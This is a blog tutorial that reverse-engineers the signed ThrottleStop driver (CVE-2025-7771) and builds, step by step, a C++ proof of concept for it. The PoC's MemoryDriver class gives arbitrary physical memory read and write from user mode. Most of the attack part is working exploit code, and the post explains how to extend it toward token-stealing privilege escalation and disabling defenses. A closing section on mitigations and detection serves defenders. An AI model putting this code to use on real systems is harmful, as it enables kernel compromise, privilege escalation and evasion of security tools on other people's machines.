If you are here, I assume you have read "Windows Internals You Need To Know Before Kernel Exploitation" and "The Kernel Attack Surface: How Windows Internals Enable Exploitation" already. If you haven't, I recommend you go through them first.
Before we move to exploitation, we should know what the aim of kernel exploitation is. What do we intend to achieve? Broadly speaking, we want to do one of two things (most of the time): we either want to write to a kernel memory address or we want to read memory from the kernel. I know this might sound stupid, but it is the end goal. Either we want to read, or write. And hence, when exploiting the kernel, we need to find a way to do these operations.
In this post we'll reverse engineer the ThrottleStop driver (a legitimate signed driver used by the CPU control utility), understand its attack surface which led to CVE-2025-7771, and develop an exploit PoC step by step.
#Reverse Engineering the Driver
We can download ThrottleStop from LOLDrivers. We can then open it in IDA Pro and disassemble its code to see different subroutines.

In the image above we can see sub_140001EF0 which ends with an IoCompleteRequest call. When we look at the signature of this routine:

We can see it takes two arguments — PDEVICE_OBJECT and PIRP. These two indicators typically point towards this being a DispatchDeviceControl function. This is the handler that processes DeviceIoControl calls from user mode.
If we scroll through this routine we can see a switch statement with multiple IOCTL codes. How do we know these are IOCTL codes? We can see it from the structure of these codes. Windows IOCTL values are packed bitfields created using the CTL_CODE macro:
#define CTL_CODE(DeviceType, Function, Method, Access) \
(((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
Worked example: 0x80006430
Decoding this IOCTL:
- Bits [31:16] =
0x8000→ Device Type - Bits [15:14] =
0b01→FILE_READ_ACCESS - Bits [13:2] =
0x90C→ Function code - Bits [1:0] =
0b00→METHOD_BUFFERED
So the original definition was equivalent to:
#define IOCTL_PORT_READ \
CTL_CODE(0x8000, 0x90C, METHOD_BUFFERED, FILE_READ_ACCESS)which produces 0x80006430.
#Identifying the Dangerous IOCTLs
On the first look at the code we can identify physical read/write operations in two IOCTL handlers:
| IOCTL | Function | Operation |
|---|---|---|
0x80006498 | 0x926 | Physical/MMIO Read |
0x8000649C | 0x927 | Physical/MMIO Write |
We can identify this behavior from MmMapIoSpace calls in both handlers. MmMapIoSpace is a kernel API that maps a physical address into kernel virtual address space. It is designed for drivers that need to access hardware MMIO regions — PCI device BARs, CPU MSR spaces, and similar. It is not designed to be fed user-supplied addresses.
#The Write IOCTL (0x8000649C)
Let's trace through the write handler. The driver retrieves a pointer to the user's input buffer from the IRP:
v27 = *(_QWORD *)(a2 + 24); // Irp->AssociatedIrp.SystemBufferWithout checking the validity of the physical address supplied by the user, the driver calls MmMapIoSpace:
v28 = MmMapIoSpace(
*(_QWORD *)v27, // Physical Address — provided by user
size, // Size of memory to map
0 // Cache Type (MmNonCached)
);MmMapIoSpace is an indispensable function for physical memory access, but it is incredibly dangerous when fed user-controlled input. The driver fails to validate whether the requested physical address belongs to legitimate hardware (PCI BAR space) or user-controlled RAM.
Then it performs the write based on the input buffer size:
// Size determines access width:
*(_BYTE *)v28 = *(_BYTE *)(v27 + 8); // 9-byte input → BYTE write
*(_WORD *)v28 = *(_WORD *)(v27 + 8); // 10-byte input → WORD write
*(_DWORD *)v28 = *(_DWORD *)(v27 + 8); // 12-byte input → DWORD write
*(_QWORD *)v28 = *(_QWORD *)(v27 + 8); // 16-byte input → QWORD writeAnd unmaps it:
MmUnmapIoSpace(v28, size);That behavior is clearly arbitrary physical memory write.
#The Read IOCTL (0x80006498)
The read handler is the mirror image. It maps the address and copies data in the opposite direction:
mapped = MmMapIoSpace(physicalAddress, size, ...);
*(UINT64 *)SystemBuffer = *(UINT64 *)mapped;
MmUnmapIoSpace(mapped, size);This gives us arbitrary physical memory read.
#The Limitation: 8 Bytes at a Time
However, we have a limitation on the size of each operation. We can only read or write one QWORD (8 bytes) at a time. If we try to use a larger buffer, we get an "Invalid Buffer Size" error:

This means reading a full 4096-byte page requires 512 individual IOCTL calls. It's slow, but it works — and for a proof of concept, that's all we need.
#Building the Exploit Primitives
Now let's translate our reverse engineering findings into working code. The PoC from Demoo1337/ThrottleStop wraps the primitives in a clean C++ class — MemoryDriver — that handles device initialization, read/write operations, and the 8-byte chunking limit transparently.
#The WriteRequest Structure
From the reverse engineering we know the write IOCTL expects the physical address at offset 0 and the data at offset 8. The PoC encodes this as a packed struct:
#pragma pack(push, 1)
struct WriteRequest
{
ULONG64 PhysicalAddress;
UCHAR Data[8];
};
#pragma pack(pop)Using UCHAR Data[8] instead of a ULONG64 gives us byte-granularity control over the write size. The input buffer size passed to DeviceIoControl determines the access width: 8 + sizeof(T) bytes means a sizeof(T)-byte write. This is how the driver's internal switch works — it subtracts 8 from the buffer size to get the data width, then picks BYTE, WORD, DWORD, or QWORD accordingly.
#The MemoryDriver Class
The heart of the PoC is the MemoryDriver class. It encapsulates the device handle, provides templated read/write methods, and handles the 8-byte-per-call limitation with automatic chunking for larger buffers.
Device Initialization
The constructor opens a handle to \\.\ThrottleStop and immediately runs a communication test:
bool InitializeDriver()
{
DriverHandle = CreateFileW(L"\\\\.\\ThrottleStop",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
return DriverHandle != INVALID_HANDLE_VALUE;
}
bool TestDriverCommunication()
{
ULONG64 TestAddr = 0x1000;
UCHAR Buffer[8] = { 0 };
DWORD BytesReturned = 0;
bool Result = DeviceIoControl(DriverHandle,
0x80006498, // IOCTL_PHYSICAL_READ
&TestAddr, 8, // input: 8-byte physical address
Buffer, 8, // output: 8-byte buffer
&BytesReturned, NULL);
if (Result && BytesReturned == 8)
return true;
return false;
}The test reads from physical address 0x1000 — a low memory region that's always populated on x64 systems. If the IOCTL succeeds and returns 8 bytes, the driver is loaded and the primitives are functional. This is a smoke test, not a security boundary check — any process that can open the device handle can use the IOCTLs.
The Raw Read/Write Methods
The low-level IOCTL wrappers are private methods that enforce the 8-byte limit:
bool ReadPhysicalMemoryRaw(ULONG64 Address, PVOID Buffer, SIZE_T Size)
{
if (Size > 8)
{
std::wcout << L"\n [ - ] ReadPhysical: Size Too Large: " << Size;
return false;
}
ULONG64 PhysAddr = Address;
DWORD BytesReturned = 0;
bool Result = DeviceIoControl(DriverHandle,
0x80006498, // IOCTL_PHYSICAL_READ
&PhysAddr, sizeof(PhysAddr), // input: 8-byte physical address
Buffer, (DWORD)Size, // output: receives the value
&BytesReturned, NULL);
if (!Result)
{
DWORD Error = GetLastError();
std::wcout << L"\n [ - ] ReadPhysical Failed: Address=0x"
<< std::hex << Address
<< L", Size=" << std::dec << Size
<< L", Error=" << Error;
}
return Result && BytesReturned == Size;
}
bool WritePhysicalMemoryRaw(ULONG64 Address, PVOID Buffer, SIZE_T Size)
{
if (Size > 8) return false;
UCHAR InputBuffer[16] = { 0 };
*(ULONG64*)InputBuffer = Address; // offset 0: physical address
memcpy(InputBuffer + 8, Buffer, Size); // offset 8: data to write
DWORD BytesReturned = 0;
bool Result = DeviceIoControl(DriverHandle,
0x8000649C, // IOCTL_PHYSICAL_WRITE
InputBuffer, 8 + Size, // input size determines write width
nullptr, 0, // no output buffer
&BytesReturned, NULL);
if (!Result)
{
DWORD Error = GetLastError();
std::wcout << L"\n [ - ] WritePhysical Failed: Address=0x"
<< std::hex << Address
<< L", Size=" << std::dec << Size
<< L", Error=" << Error;
}
return Result;
}Notice how the write method builds the input buffer dynamically: the address goes in the first 8 bytes, the data follows at offset 8. The total buffer size (8 + Size) is what the driver's IOCTL handler uses to select the access width — 9 bytes → BYTE, 10 bytes → WORD, 12 bytes → DWORD, 16 bytes → QWORD.
The Template API
The raw methods are wrapped in public templates that make the API type-safe and self-documenting:
template<typename T>
T ReadPhysical(ULONG64 Address)
{
T Value = {};
ReadPhysicalMemoryRaw(Address, &Value, sizeof(T));
return Value;
}
template<typename T>
bool WritePhysical(ULONG64 Address, const T& Value)
{
return WritePhysicalMemoryRaw(Address, (PVOID)&Value, sizeof(T));
}This is where the C++ design shines. Instead of separate ReadPhysicalMemory_QWORD, ReadPhysicalMemory_DWORD, etc., you write:
ULONG64 value = Driver.ReadPhysical<ULONG64>(0x1000);
Driver.WritePhysical<ULONG64>(0x1000, 0x1337);The template deduces the size from the type. ReadPhysical<ULONG64> reads 8 bytes. ReadPhysical<DWORD> reads 4 bytes. The compiler generates the right call, and the code reads like what it does.
Chunked Buffer Operations
The 8-byte limit means reading a full 4096-byte page requires 512 individual IOCTL calls. The PoC handles this transparently with ReadPhysicalBuffer and WritePhysicalBuffer:
bool ReadPhysicalBuffer(ULONG64 Address, PVOID Buffer, SIZE_T Size)
{
UCHAR* ByteBuffer = (UCHAR*)Buffer;
SIZE_T BytesRead = 0;
while (BytesRead < Size)
{
SIZE_T ChunkSize = min(Size - BytesRead, 8);
if (!ReadPhysicalMemoryRaw(Address + BytesRead,
ByteBuffer + BytesRead, ChunkSize))
{
std::wcout << L"\n [ - ] Failed To Read Chunk At Offset: "
<< BytesRead;
return false;
}
BytesRead += ChunkSize;
}
return true;
}The loop slices the request into 8-byte (or smaller) chunks, issues one IOCTL per chunk, and reassembles the result in the caller's buffer. The same pattern applies to writes. This is the building block for scanning — reading a full page of physical memory to search for kernel structures.
#Process Targeting
The PoC includes a process-targeting mechanism via CreateToolhelp32Snapshot:
DWORD GetProcessIdByName(const wchar_t* ProcessName)
{
HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Snapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W Entry;
Entry.dwSize = sizeof(Entry);
if (Process32FirstW(Snapshot, &Entry))
{
do
{
if (_wcsicmp(Entry.szExeFile, ProcessName) == 0)
{
CloseHandle(Snapshot);
return Entry.th32ProcessID;
}
} while (Process32NextW(Snapshot, &Entry));
}
CloseHandle(Snapshot);
return 0;
}This is a user-mode API — it walks the process list maintained by csrss.exe, not the kernel's ActiveProcessLinks. It's simple and works for identifying which process to target, but it's also a detection surface. The evasive approach (walking ActiveProcessLinks through physical memory, covered later) avoids touching any process-enumeration API.
#Testing the Primitives
The PoC's Entry.cpp runs a self-verifying test sequence:
// 1. Open the driver and verify communication
MemoryDriver Driver;
if (!Driver.Initialize()) { /* handle error */ }
// 2. Target a process (for demonstration — not strictly needed for the primitives)
Driver.SetTargetProcess(L"notepad.exe");
// 3. Read from multiple physical addresses
ULONG64 TestAddresses[] = { 0x1000, 0x2000, 0x10000, 0x100000, 0x500000 };
for (auto Addr : TestAddresses)
{
ULONG64 Value = Driver.ReadPhysical<ULONG64>(Addr);
std::wcout << L"\n [ # ] Address 0x" << std::hex << Addr
<< L": 0x" << Value;
}
// 4. Write-verify-restore round-trip
ULONG64 OriginalValue = Driver.ReadPhysical<ULONG64>(0x1000);
Driver.WritePhysical<ULONG64>(0x1000, 0x1337);
ULONG64 NewValue = Driver.ReadPhysical<ULONG64>(0x1000);
// Verify NewValue == 0x1337
Driver.WritePhysical<ULONG64>(0x1000, OriginalValue); // restoreThe round-trip test at 0x1000 is the critical validation: write a known sentinel, read it back through the same driver, confirm it matches, then restore the original. If this succeeds, the write IOCTL code, the buffer layout, and the width selection are all correct.
#What You Can Do With This
The MemoryDriver class gives you unrestricted physical memory read/write from user mode. What you build on top of it depends on your goal:
- Read kernel memory — scan for structures like
_EPROCESS, page tables, or driver objects - Write kernel memory — modify data structures to escalate privileges, hide objects, or disable defenses
- Forensics / research — dump physical memory for offline analysis without a kernel debugger
The primitives are the foundation. The rest is creativity.
#The MmMapIoSpace Footgun
One critical safety note: the driver does not NULL-check MmMapIoSpace's return value. If you pass a physical address beyond installed RAM, MmMapIoSpace returns NULL, and the driver dereferences it — instant bugcheck. The MemoryDriver class includes a bounds guard (g_MaxPA from GlobalMemoryStatusEx) that rejects out-of-range addresses before they reach the IOCTL. Always bound your physical addresses to installed RAM.
#Mitigations and Detection
#What Stops This Driver
| Mitigation | How It Stops the Attack | Status |
|---|---|---|
| Vulnerable Driver Blocklist | Prevents ThrottleStop.sys from loading | Enabled by default on Windows 11 |
| WDAC | Blocks the driver unless explicitly allowed by policy | Configurable |
| HVCI | Does NOT stop physical memory access (no executable pages created) | Enabled by default on Windows 11 |
| VBS/KDP | Can mark sensitive kernel data pages read-only in EPT | Requires VBS |
The most effective mitigation is the Vulnerable Driver Blocklist. If the driver can't load, the attack surface doesn't exist.
#Detection Opportunities
- Driver load events — Event ID 7045 in the System log. ThrottleStop.sys loading on a system that doesn't use ThrottleStop is suspicious.
- Handle creation to the driver device —
CreateFile("\\\\.\\ThrottleStop")can be detected via ETW orObRegisterCallbacks. - High-volume IOCTL traffic — Scanning physical memory generates thousands of
DeviceIoControlcalls in a short period. This is anomalous for any legitimate application.
#Key Takeaways
-
Physical memory access is the master key. If a driver gives you
MmMapIoSpacewith user-controlled addresses, you have arbitrary read/write over all of physical memory. Every kernel defense above the hypervisor becomes irrelevant. -
The
MemoryDriverclass is 200 lines of C++. The entire exploit primitive fits in a single header. No kernel module, no library dependencies — justCreateFile+DeviceIoControl. -
Template API design matters.
ReadPhysical<T>andWritePhysical<T>make the code self-documenting and type-safe. The compiler enforces that you can't accidentally pass a 4-byte buffer to an 8-byte read. -
Automatic chunking hides the 8-byte limit.
ReadPhysicalBufferandWritePhysicalBufferslice arbitrary-size requests into IOCTL-sized chunks transparently. Callers never think about the 8-byte cap. -
BYOVD is the most practical kernel exploitation technique in 2026. Finding a new vulnerable driver is a matter of reverse engineering IOCTL handlers. The driver is signed (passes DSE), its code is legitimate (passes HVCI), and its vulnerability is in its logic — exposing dangerous functionality to unprivileged callers.
-
The driver blocklist is reactive by design. It stops known-vulnerable drivers. It does not stop the next vulnerable driver that hasn't been discovered yet.
#Complete Exploit Code
The full, compilable PoC is available at github.com/Demoo1337/ThrottleStop. The repository contains:
#Code Structure
throttlestop/
├── ThrottleStop.sys # The vulnerable driver binary (for reference)
├── throttlestop.sln # Visual Studio solution
└── usermode/
├── Entry.cpp # Demo harness — initializes driver, tests read/write
├── Driver/
│ └── Driver.h # MemoryDriver class — all IOCTL primitives
└── usermode.vcxproj # VS project file
The entire exploit primitive lives in a single header, Driver.h. There is no kernel module, no library dependency beyond kernel32.dll and ntdll.dll — the MemoryDriver class talks directly to the driver via DeviceIoControl.
#Key Design Decisions
Header-only class. The MemoryDriver class is entirely defined in Driver.h. There's no .cpp file, no static library, no build system complexity. Include the header, instantiate the class, call Initialize() — you have physical memory access.
Template read/write API. ReadPhysical<T> and WritePhysical<T> let the compiler enforce type safety. You can't accidentally pass a 4-byte buffer to an 8-byte read — the template parameter IS the type, and sizeof(T) determines the transfer size.
Automatic chunking. ReadPhysicalBuffer and WritePhysicalBuffer handle the 8-byte-per-call limitation transparently. Callers request arbitrary sizes; the methods slice the request into IOCTL-sized chunks internally.
Process targeting. SetTargetProcess accepts either a process name (resolved via CreateToolhelp32Snapshot) or a PID directly. This is a convenience for demonstration — the real exploit finds its target EPROCESS through the ActiveProcessLinks walk, which doesn't use this API.
#Building
Open throttlestop.sln in Visual Studio 2022 or build from the command line:
msbuild throttlestop.sln /p:Configuration=Release /p:Platform=x64
#Extending the PoC
The repository demonstrates the physical memory read/write primitives. The token-stealing exploit chain described in this article — kernel image location, export table parsing, CR3 brute-force, ActiveProcessLinks walk, and token overwrite — builds on these same primitives. Every step uses ReadPhysical<T> and WritePhysical<T> as its only interface to kernel memory. The MemoryDriver class is the foundation; the exploit logic is what you build on top of it.
Further reading:
- Windows Internals You Need To Know Before Kernel Exploitation — the defense mechanisms this exploit bypasses
- The Kernel Attack Surface — the subsystem-by-subsystem map of where vulnerabilities live
- LOLDrivers — catalog of signed drivers with dangerous capabilities
- Microsoft's Vulnerable Driver Blocklist documentation